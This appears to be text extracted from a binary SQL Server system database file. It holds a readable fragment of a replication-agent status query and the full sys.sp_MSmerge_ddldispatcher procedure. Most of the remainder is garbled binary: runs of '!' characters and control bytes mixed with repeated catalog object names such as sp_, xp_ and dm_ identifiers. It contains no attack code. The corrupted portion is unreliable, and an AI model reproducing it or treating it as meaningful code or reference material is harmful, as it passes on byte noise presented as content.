    -- timestamp : Not supported, but returned to be consistent with other sp_MSenum_replication_agent
    -- result set.
    SELECT @timestamp = 0
            ,@curdate = getdate()

    --
    -- return the resultset now
    --
    select j.name, 'agent_type' = c.name,
            -- Job status - check sysjobactivity to see if the job
            -- is currently running or else use the runstatus from
            -- sysjobhistory
            'status' = 
            case when (ja.start_execution_date <= @curdate 
                        and ja.stop_execution_date is null) then 3  
                else
                    case isnull(jh.run_status, 5) -- mapped to never run
                        when 0 then 5   -- Fail mapping
                        when 1 then 2   -- Success mapping
                        when 2 then 5   -- Retry mapping
                        when 3 then 2   -- Shutdown mapping
                        when 4 then 3   -- Inprogress mapping
                        when 5 then 0   -- Unknown is mapped to never run
                    end
            end,
            jh.message, 'start_time' = convert(nvarchar(8), jh.run_date) + N' ' +
                                       stuff(stuff(right(convert(nvarchar(7), jh.run_time + 1000000), 6), 5, 0, N':'), 3, 0, N':') + 
                                       + N'.000',
            jh.run_duration, 
            'job_id' = convert(binary(16), j.job_id), 'local_timestamp' = @timestamp 
    from 
            msdb.dbo.sysjobs AS j
                JOIN msdb.dbo.syscategories AS c 
                    ON j.category_id = c.category_id
                        AND j.category_id in (11, 12,16,17,18)
                -- may or may not have job activity
                LEFT OUTER JOIN msdb.dbo.sysjobactivity AS ja 
                    ON j.job_id = ja.job_id
                        AND ja.session_id = (select max(session_id)
                                            from msdb.dbo.sysjobactivity as ja2)
                -- May or may not have job history
                LEFT OUTER JOIN msdb.dbo.sysjobhistory AS jh 
                    ON j.job_id = jh.job_id 
                        AND jh.instance_id = (select max(instance_id) 
                                            from msdb.dbo.sysj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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QdY`cH< AP>0 8create procedure sys.sp_MSmerge_ddldispatcher 
(
    @EventData xml
    ,@procmapid int
)
AS
begin
    set nocount on

    if is_member('db_owner') <> 1
    begin
        raiserror (21050, 16, -1)
        return (1)
    end

    -- validate the procmapid
    if @procmapid not in (1,2,3,4)
    begin
        raiserror(15021, 16, -1, '@procmapid')
        goto FAILURE
    end

    declare @debug_print bit 
    if object_id('MSrepl_debug_DDL') is not null
        set @debug_print = 1
    else
        set @debug_print = 0


    declare @object_name sysname
                ,@object_owner sysname
                ,@qual_object_name nvarchar(512) --qualified 3-part-name            
                ,@objid    int
                ,@objecttype varchar(32)
                ,@encrypted nvarchar(32)
                ,@pass_through_scripts nvarchar(max)
                ,@eventDoc int
                ,@db_name sysname
                ,@targetobject nvarchar(51)

    
            
    set @targetobject=N''
    -- parse event data
    select @object_name  = event_instance.value('ObjectName[1]', 'sysname')
        ,@object_owner = event_instance.value('SchemaName[1]', 'sysname')
        ,@objecttype = event_instance.value('ObjectType[1]', 'varchar(32)')
        ,@encrypted = event_instance.value('(TSQLCommand/SetOptions/@ENCRYPTED)[1]', 'nvarchar(32)')
        ,@pass_through_scripts = event_instance.value('(TSQLCommand/CommandText)[1]', 'nvarchar(max)')
        ,@targetobject = event_instance.value('TargetObjectName[1]', 'nvarchar(512)')
    FROM       @EventData.nodes('/EVENT_INSTANCE') as R(event_instance)


	if @debug_print = 1
		select 'stage' = 'xmlnoderefs : '
					, '@object_name' = @object_name
					, '@object_owner' = @object_owner 
					, '@objecttype' = @objecttype 
					, '@encrypted' = @encrypted 
					, '@pass_through_scripts' = @pass_through_scripts
					, '@targetobject' = @targetobject

    -- If the object being manipulated is a database level trigger that is owned by replication, raise error
    if exists (select * from sys.triggers where name = @object_name and parent_class = 0 and @objecttype = 'TRIGGER' and @object_name in (N'MSmerge_tr_altertable', N'MSmerge_tr_alterview', N'MSmerge_tr_alterschemaonly', N'MSmerge_tr_altertrigger'))
    begin
        raiserror(21598, 16, 1)        
        goto FAILURE
    end
    
    -- If the object being manipulated is a database level trigger that is not owned by replication, return immediately
    if exists (select * from sys.triggers where name = @object_name and parent_class = 0 and @objecttype = 'TRIGGER' and @object_name not in (N'MSmerge_tr_altertable', N'MSmerge_tr_alterview', N'MSmerge_tr_alterschemaonly', N'MSmerge_tr_altertrigger'))
        return 0
    
    
    select @qual_object_name = QUOTENAME(@object_owner) + N'.' + QUOTENAME(@object_name)
    select @objid = object_id(@qual_object_name)
    select @db_name=db_name()

	if @debug_print = 1
		select 'stage' = 'quotename : '
					, '@qual_object_name' = @qual_object_name
					, '@objid' = @objid
					, '@dbname' = @db_name
	
    if @objid is NULL
    begin
        -- add error message
        goto FAILURE
    end

    --can not alter to 'with encrypted' if object is published
    --return immediately if object is not published
    if UPPER(@encrypted) = N'TRUE'
    begin    
        if object_id('dbo.sysmergeextendedarticlesview') is not null
        begin
            if (UPPER(@objecttype) != 'TRIGGER' and 
                exists (SELECT * FROM dbo.sysmergeextendedarticlesview WHERE objid = @objid) 
                )
            begin 
                raiserror(21815, 16, 1, @qual_object_name)        
                goto FAILURE
            end
        end    
        else if  (UPPER(@objecttype) = 'TRIGGER' and object_id('dbo.sysmergearticles') is not null)
        begin
            if exists (select * from sysmergearticles a join sys.objects o on a.objid = o.parent_object_id where o.object_id = @objid)
        begin 
                raiserror(21815, 16, 1, @qual_object_name)        
                goto FAILURE
        end            
     end
     else
         return 0
    end

    /*
    -- remove 3 part naming
    exec sys.sp_replgetparsedddlcmd
            @pass_through_scripts output
            , N'ALTER'
            ,@objecttype
            ,@db_name
            ,@object_owner
            ,@object_name
            ,@targetobject
    */            
    select @pass_through_scripts = sys.fn_replgetparsedddlcmd(@pass_through_scripts
														,N'ALTER'
														,@objecttype
														,@db_name
														,@object_owner
														,@object_name
														,@targetobject)

	-- sys.fn_replgetparsedddlcmd will return empty string if DDL contains 
	-- syntax that we don't currently handle (after Katmai DDL
	-- improvement)
	if @pass_through_scripts = N''
		return 0

    --if merge replication is not enabled for this db, or object is not published, don''t do anything
    --refer to sp_MScreate_mergesystables for sys tables
    if object_id('dbo.sysmergearticles') is not null
    begin
        declare @proc_name sysname
        				,@retcode int

	    --  Security Check
	    EXEC @retcode = sys.sp_MSreplcheck_publish
	    IF @@ERROR <> 0 or @retcode <> 0
			goto FAILURE

        select @proc_name = case 
                    when (@procmapid = 1) then 'sys.sp_MSmerge_altertable' 
                    when (@procmapid = 2) then 'sys.sp_MSmerge_alterview' 
                    when (@procmapid = 3) then 'sys.sp_MSmerge_alterschemaonly' 
                    when (@procmapid = 4) then 'sys.sp_MSmerge_altertrigger' 
                    end
        if (@objecttype != 'TRIGGER' and exists (SELECT * FROM dbo.sysmergeextendedarticlesview WHERE objid = @objid)) 
        begin
			if (@procmapid = 1 or @procmapid = 4 )
			begin
				exec @retcode = @proc_name @qual_object_name, @objid, @pass_through_scripts 
				if (@@error <> 0 or @retcode <> 0)
					goto FAILURE
			end
			else if (@procmapid = 2 or @procmapid = 3)
			begin
				exec @retcode = @proc_name @qual_object_name, @objid, @pass_through_scripts, @objecttype
				if (@@error <> 0 or @retcode <> 0)
					goto FAILURE
			end
		end	
        if (@objecttype = 'TRIGGER' and object_id('dbo.sysmergearticles') is not null)
        begin
            if exists (select * from sysmergearticles a join sys.objects o on a.objid = o.parent_object_id where o.object_id = @objid)
	        begin
					exec @retcode = @proc_name @qual_object_name, @objid, @pass_through_scripts, @targetobject 
					if (@@error <> 0 or @retcode <> 0)
						goto FAILURE
			end
		end	
    end
    return 0

FAILURE:
    -- this rolls back the implicit transaction
    -- all changes within this transaction is rolled back.
    ROLLBACK TRANSACTION
    raiserror(21530, 16, -1)
    return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	0)"k/Wo00P cRxRnsp_constr_col_usage_rowset200ӘV t tDTABLES00{P //tsp_fulltext_thesaurus_add_root00/P ZZ\sp_bcp_dbcmptlevel00eP ʝznsp_MSregistermergesnappubid00cP 1Rsp_getapplock00b;FNzbfn_replformatdatetime00ѾV dspt_datatype_info_view00 X MMTxp_loginconfig000.P bsp_MSDropTriggerProcs00P bsp_MSmerge_passDDLcmd00FSč^fn_repl_hash_binary00VV Rdm_os_workers00T P cEbsp_MSverifytranfilter00j+X qpsp_http_generate_wsdl_simple00%.U 1<Psyspalvalues000FNYYbfn_MSmerge_GetPALRole00pCV zdm_pdw_nodes_exec_procedure_stats001WP Atsp_MSrepl_browsesnapshotfolder00gP Xsp_MSdrop_object00jV E)E)pdm_hadr_internal_cluster_ags00OP psp_MSrepl_getdistributorinfo00mZUP 6Ntsp_startpushsubscription_agent00^^P =3\sp_changesubstatus00+$P ;lsp_MSrepl_dropsubscription00P [Crsp_MShelp_subscription_status00ZP _nhsp_MSscriptcustominsproc00P bsp_IHscriptprimarykey00PP rdsp_ORACheckSourceTable00FNAjfn_replp2pversiontotranid00!P zY^sp_MSchange_article00$L4P MZdsp_MSreset_transaction00Jc9P cHysp_delete_log_shipping_primary_secondary00P 	kJy~sp_MSget_log_shipping_new_sessionid00aP Vu~sp_MSproxylogshippingmonitorrefresh00P 		jsp_cdc_enable_db_internal00V,P ^sp_helpmergearticle00%P E	P	`sp_helpmergelogfiles00^KP 55zsp_MSsetup_partition_groups_table00P ||rsp_MSuploadsupportabilitydata00+@ X fxxp_instance_regremovemultistringpsp_MSrepl_getdistributorinfo00lˣP ő-fsp_enumoledbdatasources00AP ZZsp_MSrepl_DistributorReplMonitorAccess00}4P psp_MSenum_replication_status006P jsp_MScopyscriptfile_merge00mZUP 6Ntsp_startpushsubscription_agent00OMP `sp_changepublication00`5;P ((bsp_MSaddschemaarticle00^^P =3\sp_changesubstatus00+$P ;;lsp_MSrepl_dropsubscription00>P 4B4Bbsp_MSmark_proc_norepl00P [Crsp_MShelp_subscription_status00ZP _nhsp_MSscriptcustominsproc00P Tw jsp_MSispkupdateinconflict00P bsp_IHscriptprimarykey00P ɒXsp_validatecache00PP dsp_ORACheckSourceTable00P Kmbsp_MShelp_publication00FNAjfn_replp2pversiontotranid00P xsp_MSislogreaderjobnamegenerated00wP Xbsp_MSadd_subscription00P 

xsp_MShelp_subscriberside_history00!P zY^sp_MSchange_article00CP Ypsp_MSagent_retry_stethoscope00E+6P w1Znsp_MShelptracertokenhistory00$L4P MZdsp_MSreset_transaction00
YP OcHysp_add_log_shipping_primary_secondary00Jc9P cHysp_delete_log_shipping_primary_secondary00P 	kJy~sp_MSget_log_shipping_new_sessionid00aP VuVu~sp_MSproxylogshippingmonitorrefresh00P ||`sp_clearisreplicated00P 		jsp_cdc_enable_db_internal00P \sp_MSmove_gen_rows00V,P ^sp_helpmergearticle00%P E	P	`sp_helpmergelogfiles4`
Xj

0
	L^vx	&	HN	.jz~R	0R
j


fh
.P `	0hJ"fs/F&00V Zsecurable_classes00P Њ^sp_addsrvrolemember00 P 99hsp_MSget_synctran_column00>P 1Xsp_user_counter300V vndm_tran_current_transaction002ؖFṈ̱hfn_replgetbinary8hidword00mV hdm_os_cluster_properties001V Gfbdm_os_child_instances00\AFtnGeometryConvexHullAggregate00KfX @BIRsp_cursoropen00gP %%bsp_columns_90_rowset200P wnsp_MSsub_cleanup_prop_table008lV dm_pdw_nodes_tran_active_transactions00uV )^dm_exec_connections004P Psp_MSiscolpk00MV 
ddm_server_memory_dumps00P k-l|sp_help_fulltext_system_components00P LA`sp_MSchange_repl_job00ǤP s\sp_check_removable00P Rsp_MSget_type006IFlfn_remote_table_privileges00ց	P edsp_MSfixup_single_ddls005-P =}Zsp_MSget_jobstate00xqP Lbsp_MSget_shared_agent00&`vP tsp_changemergepullsubscription00P Xsp_linkedservers00s̆P \sp_resign_database00arP Hsp_pkeys00 ۛP QQlsp_constr_col_usage_rowset00VP <xvsp_MScleanup_publication_ADinfo00P 1Xsp_user_counter600P Thsp_MSrepl_IsUserInAnyPAL00V ޠ(system_components_surface_area_configuration00BP ]Xsp_addrolemember00V 7|dm_exec_background_job_queue_stats00VP sp_MSrepl_add_expired_sub_cleanup_job00HP ̻znsp_MSreplcheckoffloadserver00P A{hsp_helpreplicationoption00DzP jH{rsp_stoppullsubscription_agent005DX HsHsPxp_unpackcab00
VP `sp_helpreplicationdb00P 9rsp_MSupdate_agenttype_default00`P pnsp_mergesubscriptionsummary00^P psp_getdefaultdatatypemapping00P (nsp_helppublication_snapshot00FN 
cVfn_ispkcomputed00"P 4-Vsp_IHaddarticle00P -Zsp_IHsyncmetadata00P 0psp_checkOraclepackageversion00ǑP [;^sp_dropsubscription00AP Clsp_MSvalidate_subscription00@޲P cc`sp_scriptupdproccore00NP rsp_MSrepl_helplogreader_agent00LX /`sp_replwritetovarbin00!5P ^Ydsp_MSfast_delete_trans00͈P Yjsp_MSenum_distribution_sd00ZP (Zsp_MSadddynamicsnapshotjobatdistributor00hP 8PZ~sp_MScheck_merge_subscription_count001P fHysp_change_log_shipping_secondary_primary00R/8P vZsp_resolve_logins00!P dsp_cdc_logddl_internal00P dsp_MStablenamefromnick00vP jdsp_MSmakegenerationold00P jsp_MSpurgecontentsorphans00JP Tsp_MSBitmapXOr00VP ??psp_MSpropagateschematorepubs00`P  }A}hsp_MScreateglobalreplica00P ]psp_MScreatedupkeyupdatequery002-P xfsp_MSdropdynsnapshotvws00P Įtsp_MSdummyupdate_logicalrecord00E X T]`xp_regaddmultistring00xP X Z~Vxp_regdeletekey005̃ X fxp_sqlagent_is_starting00NP 
NXsp_enumerrorlogs!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pf64(`
T
\"
~
&
	P	&,H&rx8B8xNFH`0	+"
y00P htdsp_replicationdboption00V Tpldm_pdw_nodes_os_schedulers00P ̢D{dsp_MScreate_sub_tables00X Њdsp_start_user_instance00%UP z|sp_MSresetsnapshotdeliveryprogress00sP ҘҘsp_MSregister_all_merge_pull_subscriptions00IV |pdm_db_mirroring_past_actions00U-V pdm_xe_session_object_columns00lFN["["tfn_MSmerge_getqualifiedobjname00vCV >B>Brspt_check_constbytable_rowset00}IF55Zfn_remote_columns00GV `dm_os_loaded_modules00RP rzlsp_MSNonSQLDDLForSchemaDDL00:|FN@@rfn_replcomposepartitionfolder00P ^sp_dropextendedproc00gP )g,lxsp_help_fulltext_catalogs_cursor00V ddm_db_task_space_usage00FNfn_replcomposepublicationsnapshotfolder00$FTÝÝrspatial_reference_systems_tvf00CP _Nsp_MSreseed00SP Tsp_ORArowcount00cFNmfn_replreplacesinglequoteplusprotectstring00P MMlsp_MSscript_delete_subwins00sq5P }[zsp_script_reconciliation_sinsproc00HP sp_MSdopartialdatabasesnapshotinitiation00-FNfn_replgetNumMergesubscriptionsOnPublication00$P lFbsp_MSadd_repl_command00P Xdsp_MSadd_replcmds_mcit00%P RYhsp_MSgetagentoffloadinfo00_P >vsp_replmonitorinitializemetrics00 P ƑƑrsp_cdc_lsn_time_mapping_procs00B#,FNjfn_cdc_get_column_ordinal000,P njsp_MSgetconflicttablename00P NkZsp_MSquerysubtype009P   Xsp_MSBitmapCount00]P vsp_MScheck_autoident_parameters00P &0lsp_changemergesubscription005JP d6d6sp_MSsetup_publication_for_partition_groups00
XP k:t:sp_MSevaluate_change_membership_for_pubid00P ZZTsp_MSgetonerow003P wwpsp_MSremove_mergereplcommand00;P '6|sp_MSinsertgenerationschemachanges00QP "xsp_MSgetlightweightmetadatabatchrsp_MSrepl_enumpublishertables00SP Tsp_ORArowcount00cFNmfn_replreplacesinglequoteplusprotectstring00+P fftsp_MSaddautonosyncsubscription00HP 33jsp_MSrepl_changesubstatus00P MMlsp_MSscript_delete_subwins00sq5P }[zsp_script_reconciliation_sinsproc00TFgg`fn_MStran_foreignkey00h[GP sbsp_MSgettrancftsrcrow00}~NP z \sp_replsqlqgetrows00ieHP |sp_MSactivatelogbasedarticleobject00HP sp_MSdopartialdatabasesnapshotinitiation00-FNfn_replgetNumMergesubscriptionsOnPublication00$P lXbsp_MSadd_repl_command00P Xdsp_MSadd_replcmds_mcit00%P RYhsp_MSgetagentoffloadinfo00P Ydsp_MSenum_distribution00
P Ytsp_MSdetect_nonlogged_shutdown00P ~=~=xsp_replmonitorrefreshwarningdata00_P >>vsp_replmonitorinitializemetrics004HP DRZxsp_validate_redirected_publisher00P NbGysp_change_log_shipping_primary_database00 P ƑƑrsp_cdc_lsn_time_mapping_procs00AP fsp_MScdc_tranrepl_check00B#,FNjfn_cdc_get_column_ordinal000,P %jsp_MSgetconflicttablename00P NkZsp_MSquerysubtype009P   Xsp_MSBitmapCount00]P vsp_MScheck_autoident_parametersL
&hZ
@
	~	
<,	X`
R	4:
^2	 *
<
Tpt,0`0E"V /'00TP Nvsp_adjustpublisheridentityrange00O3V tdm_db_fts_index_physical_stats00NP hjsp_check_for_sync_trigger00>P -6gjsp_MSrestoredbreplication00V bb\spt_all_procedures000P wzpsp_MShelpreplicationtriggers00X rrLxp_makecab00X Њvsp_control_dbmasterkey_password005TFssdfn_trace_getfilterinfo004/P NOpsp_tables_info_90_rowset2_6400Ք2 X psp_xp_cmdshell_proxy_account001:P 	QE{psp_MSscriptforeignkeyrestore00tWP fsp_MSget_file_existence004XTFqzjfn_replgetcolidfrombitmap00τ\FNxxdfn_repl32bitstringhash00rP (Q`sp_helpsrvrolemember00FuFNz`fn_IsBitSetInBitmask00c
P QQ`sp_MSgenreplnickname00kV ޼dm_pdw_nodes_os_memory_node_access_stats00L^V Lfnpdw_health_component_groups00V ѿtdm_pdw_nodes_os_process_memory007P ^sp_MSreplcheck_name00GP -Tfsp_vupgrade_publisherdb00WiTFbfn_getparametervalues00P /dsp_addsynctriggerscore00IV tdm_pdw_os_performance_counters00
P sp_estimate_data_compression_savings007iV XXhspt_tablecollations_view00P <bsp_MSmarkschemaobject002P psp_MSget_pullsubsagent_owner00P |~1Jsp_helpdb00=+"TF:sFsbfn_trace_geteventinfo0082P Dzxsp_getsubscriptiondtspackagename0073P 1G{zsp_vupgrade_replsecurity_metadata00~4V !!fspt_sparse_columns_view00T6P fϊRxp_grantlogin006V Һdm_pdw_nodes_os_memory_cache_counters00r!X )y)yjsp_replpostsyncstatus_int00mP 00Lsp_IHquery00[P Pjsp_MStable_not_modifiable00P ZY
bsp_scriptupdateparams00tBP GGpsp_MSdetectinvalidaddarticle00XyP fsp_scriptupdmoderefresh00kUP BXbsp_MSanonymous_status00iP _Gysp_add_log_shipping_primary_database00MP gHysp_help_log_shipping_secondary_primary00NP !l~sp_MSproxylogshippingmonitorhistory00[B1P RqIyxsp_delete_log_shipping_alert_job00M@P fsp_cdc_captured_columns00,GP Tsp_MSguidtostr00yP OO`sp_MSmerge_getgencur00lP fsp_MSgenerateexpandproc00,U}P psp_MSsetup_publisher_idrange00IcP !fsp_dropmergepublication00P K-{xsp_MShelpmergedynamicsnapshotjob00P 6sp_MSupdate_singlelogicalrecordmetadata00"P =fsp_MScheck_join_filters00P Gsp_MSclear_dynamic_snapshot_location00=hP Jnsp_MSdrop_article_repl_view00PP yyzsp_MScheck_subscription_partition00'&1P psp_MSsetreplicaschemaversion000P 7Xvsp_MScreate_tempgenhistorytable00P ͽ`sp_MScheckIsPubOfSub00P ?sp_MScreatelightweightmultipurposeproc00J'aPCaxsp_FuzzyLookupTableMaintenanceInstall00L X Xsp_OASetProperty00g X WJTxp_regenumkeys00͌ X YJXxp_regenumvalues00P X wCLxp_subdirs!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N,t

 
0f|
D
	|		j<|TR0d`l6bz0
(hJ`0F"F.@!f00SeV 

spt_sproc_columns_return_values_odbc_view00oV zzXVIEW_TABLE_USAGE005pP ~~bsp_isarticlecolbitset00MHV tdm_pdw_nodes_os_spinlock_stats00iP !!fsp_add_datatype_mapping00AOP WWZsp_oledb_database00ڡP ^Nsp_ORbitmap00X tt`xp_repl_help_connect00IF88zdm_exec_describe_first_result_set00P 2Y@Y\sp_tablecollations00P #sp_vupgrade_registry_custom_resolver_katmai00W&P i-lvsp_help_fulltext_columns_cursor00GV 
p
pVconfigurations$00P ^sp_catalogs_rowset200P `ZPsp_recompile00FNҭҭfn_replgenerateshorterfilenameprefix00P G{dsp_removedbreplication00V dm_cryptographic_provider_properties00VFNvfn_repltrimleadingzerosinhexstr00P 

psp_MSscript_multirow_trigger00FNRgenerate_type00P zsp_MSget_mergepullsubsagent_owner00V aafspt_provider_types_view00J8V ||LPARAMETERS00!AFf4dGeometryUnionAggregate00c$P G^sp_copysubscription00H=/P ^sp_MSdrop_subserver00
3P ,>z|sp_MSget_publication_from_taskname005P hsp_MSreplhelp_jobhistory00_6V Fdrdm_tran_transactions_snapshot00q9IFJJLfn_get_sql00: X MMRxp_enumgroups00:V %%dm_hadr_internal_database_synchronization_states00=GDP h&9rsp_MSmerge_upgrade_from_90rtm00\IF):F:\dm_exec_query_plan00SBaP bsp_MStable_validation00	zP sp_http_generate_wsdl_defaultcomplexorsimple00|V tdm_os_memory_cache_hash_tables00mP ɵFXsp_MSrepl_dbrole00P 3Rlsp_help_publication_access00oP rsp_MSrepl_testadminconnection00kP 7\sp_ORAaddpublisher00P Xsp_IHgetprovider00nP Zsp_ORAhelparticle00#oP 22nsp_MSissnapshotagentrunning002_P @nsp_script_synctran_commands00kP G\sp_gettopologyinfo00'X ..Rxp_resetqueue00oP LXjsp_MShelp_subscriber_info00P hsp_MSadd_qreader_history00=P fsp_MSreplcopyscriptfile00A:P Ybsp_MSenum_snapshot_sd00+,P r|Y^sp_MSprofile_in_use00^P fsp_MShelp_merge_agentid00L+P Ypsp_MSlock_distribution_agent00/P wsp_MSproxylogshippingmonitorhelpprimary007:P lsp_cdc_create_change_table00vP vsp_cdc_help_change_data_capture000FN|fn_MSmerge_hasdownloadonlyarticles00P tsp_MSrefresh_publisher_idrange00P ^^nsp_MSreinitmergepublication00PDP 2sp_replmonitorhelpmergesubscriptionmoreinfo00W'P R^sp_MSmakeexpandproc00qP  c^sp_MSclearcolumnbit00P b&~&rsp_addmergealternatepublisher00«P 88psp_MSmodify_boolfilterclause00@bP e\^sp_MSenumreplicas9000LIP psp_MSaddinitialschemaarticle00P Zsp_MSmakeviewproc00cHP lsp_MShelpcreatebeforetableJn
.@
0L
8
,
t,	dZz		>HBd`h\*&~DBP`i0D"&R/Q00eP s\z`sp_createtranpalrole00P qFFbsp_procedures_rowset200FT\PlanarGridCoverage00,P jsp_MScheck_agent_instance00SP WWsp_MScheckcontext_bypassreplicateddleventbit00P &hsp_MSdrop_mergesystables009X vI{Nsp_replhelp00>FN~fn_replgetagentcommandlinefromjobid00kP Ksp_MSremovedb_merge_replication_brute_force00_TF	 ^fn_virtualfilestats00/U 1;Lsysbinpals00iP 09xsp_MSload_tmp_replication_status00gV fdm_db_index_usage_stats00+QIFZldm_db_index_physical_stats00&V 
B
B`conversation_groups$00e8FNhfn_replgetinstanceregkey00>V }}JSEQUENCES00qHV hdm_os_buffer_descriptors00MIP UV^sp_oledb_ro_usrname00`LP dsp_MSscript_begintrig100"VV <Ldm_tran_active_snapshot_database_transactions00,caP 	\sp_helpdistributor00dP \sp_MSadd_subserver00ݾeP sZsp_fulltext_table00pP 3`dsp_MSrepl_backup_start00S{P Clsp_MSrepl_check_job_access00JU Xrole_permissions00PC44Zsp_printstatement00U \_pdw_distributions00RFT++GetPlanarGeometryTessellation_VarBinary00yP zlsp_MSissnapshotitemapplied00|IFzdm_fts_index_keywords_by_document00֬V J^rpdw_loader_backup_run_details00k.P !>sp_MScreate_replication_status_table00P TTsp_help_spatial_geometry_index_helper00FNw`w`bfn_convert_to_seconds00GIFrdm_logpool_sharedcachebuffers00aKP sHjsp_MSrepl_check_publisher00*M?FNKNTfn_isxmlcolumn00%0P (psp_MSrepl_changesubscription00a)P VVXsp_IHhelparticle00P !sp_MSrepl_snapshot_helparticlecolumns00P hFfsp_MSis_identity_insert00+P aUhsp_MSgen_sync_tran_procs00ZP Yjsp_scriptreconwhereclause00MP zj"fsp_MSarticle_validation00C|iP {!Xsp_MSrepl_schema00UP ^Tsp_IHreplflush008P \sp_IHScriptSchFile00uP Xsp_MSsetupnosyncsubwithlsnatdist_cleanup00qP Yfsp_MSdrop_snapshot_dirs006P 8"jsp_MSbrowsesnapshotfolder00P /)Zsp_MSchangedynamicsnapshotjobatdistributor00P 0bsp_MShelptracertokens00P >"`sp_replmonitoralerts00P %M<^sp_MSrefreshmqtosql00jP m~sp_MSprocesslogshippingmonitorerror00P[P h\sp_MScdc_ddl_event00$aP ʓʓ^sp_cdc_drop_objects00P rsp_MSgetmakegenerationapplock00P v~sp_MScleanup_zeroartnick_genhistory00[oP Zsp_MSlevelchanges00yֶP :^sp_MSmergepublishdb00%/P 2sp_MScheck_dynamic_filtering_information00 z|P [K\sp_MSgetlastrecgen00P sp_MSupdateinitiallightweightsubscription00X uTxp_fixeddrives00 X z^xp_sqlagent_monitorz.J
X
r6
r

RF	X	,j@
<2.\:.v^2xN&~"`0iK"Rf2X!S00<P 9oU{fsp_dropreplsymmetrickey00`P Nsp_dropuser00:FNpfn_replgetsubscriptionregkey00b@V vrdm_pdw_nodes_exec_connections00>KV AAJservices$00$fP u1Zsp_releaseapplock00 sP Ocnsp_MSfixup_constraints_name00=yxP Z\sp_settriggerorder00HP z1Xsp_user_counter100HEP ^^sp_firstonly_bitmap00#V 0uPuRtrace_columns00PV xxfREFERENTIAL_CONSTRAINTS00֩U kk`_dm_pdw_sql_requests00RP Xsp_MSgetreplnick00U l_pdw_diag_event_properties00P Jzxsp_validatemergepullsubscription00P psp_SetPDWOnlyInterfaceObject00cP   lsp_MSfixupworkingdirectory00P rypsp_addpullsubscription_agent00P ~1Xsp_helpfilegroup003P ~psp_helpmergepullsubscription00JP O\nsp_MSreplicationcompatlevel00[
